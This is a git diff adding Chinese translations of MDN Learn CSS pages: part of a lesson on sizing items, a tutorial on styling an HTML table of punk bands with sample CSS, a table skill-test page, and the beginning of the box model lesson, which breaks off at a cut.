+<p>在受CSS设置影响之前,HTML元素有其原始的尺寸。一个直观的例子就是图像。一副图像的长和宽由这个图像文件自身确定。这个尺寸就是固有尺寸。</p> + +<p>如果你把图片放置在网页中的时候没有在<code><img></code> 标签或CSS中设置其尺寸,那么将使用其固有尺寸显示。我们给下面的示例图像绘制了一个边框,以便你看出图像文件的长宽。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p> + +<p>一个空的{{htmlelement("div")}}是没有尺寸的。如果你在你的HTML文件中添加一个空{{htmlelement("div")}} 并给予其边框(就像刚才我们为图像做的那样),你会在页面上看到一条线。这是边框被压缩后的效果— 它内部没有内容。在我们下面的例子中,边框宽度扩展到整个容器宽度,因为它是块级元素,而块级元素的行为就是这样的。它没有高度,或者说高度为0,因为内部没有内容。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p> + +<p>在上面的例子中,试着在空元素内部添加些内容。现在边框内包含一些文字了,因为元素的高度由其所含内容高度确定。再强调一次,这就是元素的固有尺寸 — 由其所包含的内容决定。</p> + +<h2 id="设置具体的尺寸">设置具体的尺寸</h2> + +<p>我们当然可以给设计中的元素指定具体大小。 当给元素指定尺寸(然后其内容需要适合该尺寸)时,我们将其称为<strong>外部尺寸</strong>。以上面例子中的 <code><div></code> 举例 — 我们可以给它一个具体的 {{cssxref("width")}} 和 {{cssxref("height")}} 值, 然后不论我们放什么内容进去它都是该尺寸。 正如我们在<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">上一课</a>有关溢出的内容中所发现的,如果内容的数量超出了元素可容纳的空间,则设置的高度会导致内容溢出。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p> + +<p>由于存在溢出问题,在网络上使用长度或百分比固定元素的高度需要非常小心。</p> + +<h3 id="使用百分数">使用百分数</h3> + +<p>许多时候,百分数是长度单位,正如我们在<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units#Percentages">Value and units这节课中讨论的那样</a>,它们常常可与长度互换。当使用百分数时,你需要清楚,它是<strong>什么</strong>东西的百分数。对于一个处于另外一个容器当中的盒子,如果你给予了子盒子一个百分数作为宽度,那么它指的是父容器宽度的百分数。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p> + +<p>这是因为百分数是以包含盒子的块为根据解析的。如果我们的<code><div></code>没有被指定百分数的值,那么它会占据100%的可用空间,因为它是块级别的元素。如果我们给了它一个百分数作为宽度,那么这就是它原来情况下可以占据空间的百分数。</p> + +<h3 id="把百分数作为内外边距">把百分数作为内外边距</h3> + +<p>如果你把<code>margins</code>和<code>padding</code>设置为百分数的话,你会注意到一些奇怪的表现。在下面的例子里,我们有一个盒子,我们给了里面的盒子10%的{{cssxref("margin")}},外面的盒子10%的{{cssxref("padding")}}。盒子底部和顶部的内外边距,和左右外边距有同样的大小。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p> + +<p>例如,你也许会希望上下的外边距是元素高的一个百分数,左右外边距是元素宽的百分数。但是,情况不是这样的!</p> + +<p>当你用百分数设定内外边距的时候,值是以<strong>内联尺寸</strong>进行计算的,也即对于左右书写的语言来说的宽度。在我们的例子里面,所有的内外边距是这一宽度的10%,也就是说,你可以让盒子周围的内外边距大小相同。在你以这种方式使用百分数的时候,这是一个需要记住的事实。</p> + +<h2 id="min-和max-尺寸">min-和max-尺寸</h2> + +<p>除了让万物都有一个确定的大小以外,我们可以让CSS给定一个元素的最大或最小尺寸。如果你有一个包含了变化容量的内容的盒子,而且你总是想让它<strong>至少</strong>有个确定的高度,你应该给它设置一个{{cssxref("min-height")}}属性。盒子就会一直保持大于这个最小高度,但是如果有比这个盒子在最小高度状态下所能容纳的更多内容,那么盒子就会变大。</p> + +<p>I在以下的示例中,你可以看到两个盒子,两个都有150像素的确定高度,左边的盒子有150像素高,右边的盒子有需要更多空间才能装下的内容,所以它变得比150像素高。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p> + +<p>这在避免溢出的同时并处理变化容量的内容的时候是很有用的。</p> + +<p>{{cssxref("max-width")}}的常见用法为,在没有足够空间以原有宽度展示图像时,让图像缩小,同时确保它们不会比这一宽度大。</p> + +<p>作为示例,如果你设定一个图像的属性为<code>width: 100%</code>,而且它的原始宽度小于容器,图像会被强制拉伸以变大,看起来像素更加明显。如果它的原始宽度大于容器,它则会溢出。两种情形都不是你想要看到的。</p> + +<p>如果你使用了<code>max-width: 100%</code>,那么图像可以变得比原始尺寸更小,但是不会大于原始尺寸的100%。</p> + +<p>在下面的示例里,我们使用了两次相同的图片。第一次使用,属性值已设为<code>width: 100%</code>,位于比图片大的容器里,因此图片拉伸到了与容器相同的宽度;第二次的属性值则设为<code>max-width: 100%</code>,因此它并没有拉伸到充满容器;第三个盒子再一次包含了相同的图片,同时设定了<code>max-width: 100%</code>属性,这时你能看到它是怎样缩小来和盒子大小相适应的。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p> + +<p>这个技术是用来让图片<strong>可响应</strong>的,所以在更小的设备上浏览的时候,它们会合适地缩放。你无论怎样都不应该用这个技术先载入大原始尺寸的图片,再对它们在浏览器中进行缩放。图像应该合适地调整尺寸,以使它们不会比预计中展示时所需要的最大尺寸大。下载过大的图像会造成你的网站变慢,如果用户使用按量收费的网络连接,会让用户花更多钱。</p> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>了解更多关于<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片技术</a>的事情。</p> +</div> + +<h2 id="视口单位">视口单位</h2> + +<p>视口,即你在浏览器中看到的部分页面,也是有尺寸的。在CSS中,我们有与视口尺寸相关的度量单位,即意为视口宽度的<code>vw</code>单位,以及意为视口高度的 <code>vh</code>单位。使用这些单位,你可以把一些东西做得随用户的视口改变大小。</p> + +<p><code>1vh</code>等于视口高度的1%,<code>1vw</code>则为视口宽度的1%.你可以用这些单位约束盒子的大小,还有文字的大小。在下面的示例里,我们有一个大小被设为20vh和20vw的盒子。这个盒子里面有一个字母<code>A</code>,其{{cssxref("font-size")}}属性被设成了10vh。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p> + +<p><strong>如果你改变了<code>vh</code>和<code>vw</code>的对应值,盒子和字体的大小也会改变;视口大小的变化也会让它们的大小变化,因为它们是依照视口来定大小的。想看到随着你改变视口大小的时候示例的变化的话,你需要在一个新浏览器视窗里面载入此示例,因为你可以控制该视窗的大小,同时上面示例所在的嵌入的<code><iframe></code>的大小即是对上面示例而言的视口。<a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">打开此示例</a>,调整浏览器视窗的大小,观察在盒子和文本的大小上所发生的事情。</strong></p> + +<p>在你的设计中,根据视口改变物件的大小是很有用的。例如,如果你想要在你其他内容之前,有一个充满整个视口的视觉宣传段落,让你的页面的那个部分有100vh高的话,会把剩下的内容推到视口的下面,只有向下滚动文档的时候它们才会出现。</p> + +<h2 id="小结">小结</h2> + +<p>本节课,你已经得到了一个对于你可能在约束网站上的内容大小的时候,会遇到的一些关键问题的详细介绍。当你继续学习<a href="/en-US/docs/Learn/CSS/CSS_layout">CSS布局</a>的时候,约束大小会成为掌握不同布局途径的非常重要的基础,所以在继续之前有必要在这里理解这些概念。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/styling_tables/index.html b/files/zh-cn/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..cce5429572 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,311 @@ +--- +title: 样式化表格 +slug: Learn/CSS/Building_blocks/Styling_tables +translation_of: Learn/CSS/Building_blocks/Styling_tables +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary">设计一个 HTML表格不是世界上最迷人的工作,但有时我们必须这样做。本文提供了一个使HTML表格看起来不错的指南,其中一些功能在前面的文章中已作详细介绍。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>HTML 基础(学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), HTML表格(见HTML表格模块(TBD)),了解CSS工作原理(study <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何有效地对HTML表格进行样式化。</td> + </tr> + </tbody> +</table> + +<h2 id="一个典型的HTML表格">一个典型的HTML表格</h2> + +<p>让我们从一个典型的HTML表格开始。恩,我说典型——大多数HTML表格都是关于鞋子,天气,或者员工的。我们决定通过制作英国著名的朋克乐队来让事情变得更有趣。标记看起来是这样的</p> + +<pre class="brush: html"><table> + <caption>A summary of the UK's most famous punk bands</caption> + <thead> + <tr> + <th scope="col">Band</th> + <th scope="col">Year formed</th> + <th scope="col">No. of Albums</th> + <th scope="col">Most famous song</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row">Buzzcocks</th> + <td>1976</td> + <td>9</td> + <td>Ever fallen in love (with someone you shouldn't've)</td> + </tr> + <tr> + <th scope="row">The Clash</th> + <td>1976</td> + <td>6</td> + <td>London Calling</td> + </tr> + + ... some rows removed for brevity + + <tr> + <th scope="row">The Stranglers</th> + <td>1974</td> + <td>17</td> + <td>No More Heroes</td> + </tr> + </tbody> + <tfoot> + <tr> + <th scope="row" colspan="2">Total albums</th> + <td colspan="2">77</td> + </tr> + </tfoot> +</table></pre> + +<p>由于{{htmlattrxref("scope","th")}}、{{htmlelement("caption")}}、{{htmlelement("thead")}}、{{htmlelement("tbody")}}等特性,表格被很好地标记了,易于使用,并且易于访问,不幸的是,它在屏幕上呈现时看起来不太好(见它的预览版 <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a>):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p> + +<p>它看起来很拥挤,很难阅读,也很无聊。我们需要使用一些CSS来解决这个问题。</p> + +<h2 id="自主学习:样式化我们的表格">自主学习:样式化我们的表格</h2> + +<p>在这个自主学习部分中,我们将一起来样式化我们的表格。</p> + +<ol> + <li>首先,复制<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">实例标记</a>到本地,下载这两个图像(<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise</a>和 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin</a>),然后将三个结果文件放在本地计算机的某个工作目录中。</li> + <li>接下来,创建一个名为<code>style.css</code>的新文件并将其保存在与其他文件相同的目录中。</li> + <li>将CSS链接到HTML中,将下面的HTML代码放到HTML的{{htmlelement("head")}}中:</li> +</ol> + +<pre class="brush: html"><link href="style.css" rel="stylesheet" type="text/css"></pre> + +<h3 id="间距和布局">间距和布局</h3> + +<p>我们需要做的第一件事是整理出空间/布局——默认的表格样式是如此的拥挤!要做到这一点,请将以下CSS添加到您的 <code>style.css</code> 文件:</p> + +<pre class="brush: css">/* spacing */ + +table { + table-layout: fixed; + width: 100%; + border-collapse: collapse; + border: 3px solid purple; +} + +thead th:nth-child(1) { + width: 30%; +} + +thead th:nth-child(2) { + width: 20%; +} + +thead th:nth-child(3) { + width: 15%; +} + +thead th:nth-child(4) { + width: 35%; +} + +th, td { + padding: 20px; +}</pre> + +<p>需要注意的最重要的部分如下:</p> + +<ul> + <li>在你的表上,给{{cssxref("table-layout")}}属性设置一个为<code>fixed</code>的值通常是一个好主意,因为它使表的行为在默认情况下更可预测。通常情况下,表列的尺寸会根据所包含的内容大小而变化,这会产生一些奇怪的结果。通过 <code>table-layout: fixed</code>,您可以根据列标题的宽度来规定列的宽度,然后适当地处理它们的内容。这就是为什么我们使用了<code>thead th:nth-child(<em>n</em>)</code> 选择了四个不同的标题({{cssxref(":nth-child")}})选择器(“选择第n个子元素,它是一个顺序排列的{{htmlelement("th")}}元素,且其父元素是{{htmlelement("thead")}}元素”)并给定了它们的百分比宽度。整个列宽度与列标题的宽度是一样的,这是一种很好的设定表列尺寸的方式。Chris Coyier在<a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>中更详细地讨论了这一技术。<br> + <br> + 我们将它与一个100%的{{cssxref("width")}}组合在一起,这意味着该表将填充它放入的任何容器,并且能很好的响应(虽然它仍然需要更多的工作来让它在窄屏宽度上看起来很好)。</li> + <li>一个{{cssxref("border-collapse")}}属性的<code>collapse</code>值对于任何表样式的工作来说都是一个标准的最佳实践。默认情况下,当您在表元素上设置边框时,它们之间将会有间隔,如下图所示:<img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;">这看起来不太好(虽然可能是你想要的样子,谁知道呢?)。使用 <code>border-collapse: collapse;</code> ,让边框合为一条,现在看起来好多了:<img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li> + <li>我们在整个表设置了一个{{cssxref("border")}},这是必要的,因为我们将在表页眉和页脚后面设置一些边框——当你在表格外面没有一个边界而且以空隙结尾的时候,它看起来很奇怪,而且是不连贯的。</li> + <li>我们在{{htmlelement("th")}}和{{htmlelement("td")}}元素上设置了一些{{cssxref("padding")}}——这些元素使数据项有了一些空间,使表看起来更加清晰。</li> +</ul> + +<p>此刻,我们的表看起来好多了:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="一些简单的排版:">一些简单的排版:</h3> + +<p>现在我们把类型整理一下。</p> + +<p>首先,我们在<a href="https://www.google.com/fonts">Google Fonts</a>上找到了一种适合于朋克乐队的字体的字体。如果你愿意,你可以去那里找一个不同的。现在,您只需替换我们提供的{{htmlelement("link")}}元素和定制的{{cssxref("font-family")}}声明,并使用Google字体提供给您的内容。</p> + +<p>首先,将下面的{{htmlelement("link")}}元素添加到您的HTML头部,就在您现有的 <code><link></code> 元素之上:</p> + +<pre class="brush: html"><link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'> +</pre> + +<p>现在将下面的CSS添加到您的<code>style.css</code>文件,在之前内容后面添加:</p> + +<pre class="brush: css">/* typography */ + +html { + font-family: 'helvetica neue', helvetica, arial, sans-serif; +} + +thead th, tfoot th { + font-family: 'Rock Salt', cursive; +} + +th { + letter-spacing: 2px; +} + +td { + letter-spacing: 1px; +} + +tbody td { + text-align: center; +} + +tfoot th { + text-align: right; +}</pre> + +<p>这里没有什么特别的东西。我们通常会对字体样式进行调整,使其更易于阅读:</p> + +<ul> + <li>我们已经设置了一个全局无衬线字体;这纯粹是一种风格上的选择。我们还在{{htmlelement("thead")}}和{{htmlelement("tfoot")}}元素的标题上设置了自定义字体,这是一种很不错的、很有朋克风格的外观。</li> + <li>我们在标题和单元格上设置了一些{{cssxref("letter-spacing")}},因为我们觉得它有助于提高可读性。再次强调,这主要是一种风格上的选择。</li> + <li>我们在{{htmlelement("tbody")}}中的表格单元中对文本进行了居中对齐,使它们与标题对齐。默认情况下,单元格被赋予了一个{{cssxref("text-align")}}的<code>left</code>值,并且标题被赋予了一个<code>center</code>值,但是通常情况下,让两者对齐看起来更好。标题字体的默认粗体值足以区分它们的外观。</li> + <li>我们在{{htmlelement("tfoot")}}中对标题进行了右对齐,以便与它的数据点更好地关联。</li> +</ul> + +<p>结果看起来更整洁一些:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p> + +<h3 id="图形和颜色">图形和颜色</h3> + +<p>现在轮到图形和颜色了!因为表格上充满“朋克“和“个性”,我们需要给它再搭配一些鲜艳的造型。别担心,你不必让你的表格”燥起来“,你可以选择一些更巧妙、更有品位的东西。</p> + +<p>首先将下面的CSS添加到<code>style.css</code>文件中,在底部添加:</p> + +<pre>thead, tfoot { + background: url(leopardskin.jpg); + color: white; + text-shadow: 1px 1px 1px black; +} + +thead th, tfoot th, tfoot td { + background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); + border: 3px solid purple; +} +</pre> + +<p>同样,对于表格这里没有什么特别的,但有几件事值得注意。</p> + +<p>我们已经将一个{{cssxref("background-image")}}添加到{{htmlelement("thead")}}和{{htmlelement("tfoot")}},并将页眉和页脚的所有文本颜色{{cssxref("color")}}更改为白色(并给它一个{{cssxref("text-shadow")}}),这样它的可读性就更好了。你应该确保你的文字与你的背景形成鲜明的对比,使得它是可读的。</p> + +<p>我们还为{{htmlelement("th")}}和 {{htmlelement("td")}}添加了一个线性渐变,在页眉和页脚中添加了一个漂亮的纹理,同时也为这些元素提供了一个明亮的紫色边框。有多个嵌套的元素是很有用的,这样您就可以将样式层叠在一起。是的,我们可以通过设置多组背景图像属性值来在{{htmlelement("thead")}}和 {{htmlelement("tfoot")}}元素上同时使用背景图像和线性渐变,但是我们决定分开使用,因为考虑到不支持多个背景图像或线性渐变的老浏览器。</p> + +<h4 id="斑马条纹图案">斑马条纹图案</h4> + +<p>我们想用一个单独的部分来展示如何实现斑马条纹(<strong>zebra stripes</strong>)——通过改变不同数据行的颜色,使表中交替行不同的数据行可以更容易地进行解析和读取。将下面的CSS添加到您的 <code>style.css</code> 文件底部:</p> + +<pre class="brush: css">tbody tr:nth-child(odd) { + background-color: #ff33cc; +} + +tbody tr:nth-child(even) { + background-color: #e495e4; +} + +tbody tr { + background-image: url(noise.png); +} + +table { + background-color: #ff33cc; +}</pre> + +<ul> + <li>您在前面看到了{{cssxref(":nth-child")}}选择器用于选择特定的子元素。它也可以用一个公式作为参数,来选择一个元素序列。公式<code>2n-1</code>会选择所有奇数的子元素(1、3、5等),而公式<code>2n</code>会选择所有偶数的子元素(2、4、6等等)。我们在代码中使用了<code>odd</code>和<code>even</code>的关键字,这与前面提到的公式作用完全相同。在这里,我们给奇数行和偶数行不同的(醒目的)颜色。</li> + <li>我们还为所有的行添加了一个重复的噪点背景色块(一个半透明的<code>.png</code>,有一点视觉上的扭曲)来提供一些纹理。</li> + <li>最后,我们给整个表格提供了一个纯的背景颜色,这样浏览器不支持<code>:nth-child</code>选择器仍然有它们的正文行的背景。</li> +</ul> + +<p>这种颜色爆炸的结果如下:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p> + +<p>现在,这可能有点过头不符合你的品味,但我们在这里想要指出的一点是,表格并非只能是枯燥无味的,学术性的。</p> + +<h3 id="样式化标题">样式化标题</h3> + +<p>对我们的表格还有最后一点处理——样式化标题。要做到这一点,请将以下内容添加到您的<code>style.css</code> 文件底部:</p> + +<pre class="brush: css">caption { + font-family: 'Rock Salt', cursive; + padding: 20px; + font-style: italic; + caption-side: bottom; + color: #666; + text-align: right; + letter-spacing: 1px; +}</pre> + +<p>这里没有什么值得注意的地方,除了{{cssxref("caption-side")}}属性,它被赋予了一个<code>bottom</code>的值。这就导致标题被放置在表格的底部,与其他声明一起提供了最后的外观(见预览版<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p> + +<h2 id="自主学习:样式化你自己的表格">自主学习:样式化你自己的表格</h2> + +<p>现在,我们希望您可以使用我们的示例表格HTML(或者使用您自己的一些!),并将其样式设计成比我们的表更好的设计和不那么花哨的东西。</p> + +<h2 id="表格样式小贴士">表格样式小贴士</h2> + +<p>在继续之前,我们认为我们将为您提供一个快速列表,列出了上面提到的最有用的点:</p> + +<ul> + <li>使您的表格标记尽可能简单,并且保持灵活性,例如使用百分比,这样设计就更有响应性。</li> + <li>使用 {{cssxref("table-layout")}}<code>: fixed</code> 创建更可控的表布局,可以通过在标题{{cssxref("width")}}中设置{{cssxref("width")}}来轻松设置列的宽度。</li> + <li>使用 {{cssxref("border-collapse")}}<code>: collapse</code> 使表元素边框合并,生成一个更整洁、更易于控制的外观。</li> + <li>使用{{htmlelement("thead")}}, {{htmlelement("tbody")}}和{{htmlelement("tfoot")}} 将表格分割成逻辑块,并提供额外的应用CSS的地方,因此如果需要的话,可以更容易地将样式层叠在一起。</li> + <li>使用斑马线来让其他行更容易阅读。</li> + <li>使用 {{cssxref("text-align")}}直线对齐您的{{htmlelement("th")}}和{{htmlelement("td")}}文本,使内容更整洁、更易于跟随。</li> +</ul> + +<h2 id="小试牛刀!">小试牛刀!</h2> + +<p>我们在这篇文章里面讲了很多,但是你能记住最重要的信息吗?你能找到些更进一步的测试,在你继续之前,想要验证你已经吸收了这些信息的话,请见<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Tables_tasks">Test your skills: tables</a>。</p> + +<h2 id="总结">总结</h2> + +<p>现在,我们身后的表格样式令人炫目,令人兴奋,我们需要一些其他的东西来占据我们的时间。不要担心——下一章会介绍如何调试CSS,如何解决诸如布局不能像所应该的那样进行呈现的问题,或者元素无法像你预料的那样生效的问题。那里包含了使用浏览器开发者工具寻找你的问题的解决方案的信息。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/tables_tasks/index.html b/files/zh-cn/learn/css/building_blocks/tables_tasks/index.html new file mode 100644 index 0000000000..cb5c0e67d0 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/tables_tasks/index.html @@ -0,0 +1,59 @@ +--- +title: 测试技能:表格 +slug: Learn/CSS/Building_blocks/Tables_tasks +tags: + - Beginner + - CSS + - Example +translation_of: Learn/CSS/Building_blocks/Tables_tasks +--- +<div>{{LearnSidebar}}</div> + +<div></div> + +<p>此任务的目的是为了帮助你检测在<u><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></u>课程中学到的技巧的理解。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a> to work on the tasks.<br> + <br> + If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.</p> +</div> + +<h2 id="任务">任务</h2> + +<p>在之前的课程中,我们以一种杀马特的方式样式化了一个表格。在这个任务中,我们打算样式化同样的表格,但是使用一些在外部文章<u><a href="https://alistapart.com/article/web-typography-tables/">Web排版:设计可读而不是可看的表格</a></u>概述的表格设计良好实践。</p> + +<p>我们要完成的表格如下图所示。完成这个任务有许多方法,但是我建议你使用和向导中所用的相似的模式来完成以下的事情。</p> + +<ul> + <li>把标题和包含数字的列数据右对齐</li> + <li>把标题和包含文本的列数据左对齐</li> + <li>添加顶部和底部边框,以及页脚上方的边框</li> + <li>将主表的所有奇数行条纹化</li> +</ul> + +<p><img alt="A table with striped rows." src="https://mdn.mozillademos.org/files/17145/mdn-table-bands.png" style="height: 710px; width: 1266px;"></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/tables/table.html", '100%', 1000)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/tables/table-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors mentioned above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for tables skill test".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/the_box_model/index.html b/files/zh-cn/learn/css/building_blocks/the_box_model/index.html new file mode 100644 index 0000000000..4d822ed50b --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/the_box_model/index.html @@ -0,0 +1,348 @@ +--- +title: 盒模型 +slug: Learn/CSS/Building_blocks/The_box_model +translation_of: Learn/CSS/Building_blocks/The_box_model +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div> + +<div></div> + +<p>在 CSS 中,所有的元素都被一个个的“盒子(box)”包围着,理解这些“盒子”的基本原理,是我们使用CSS实现准确布局、处理元素排列的关键。</p> + +<p>本文围绕 “盒模型” 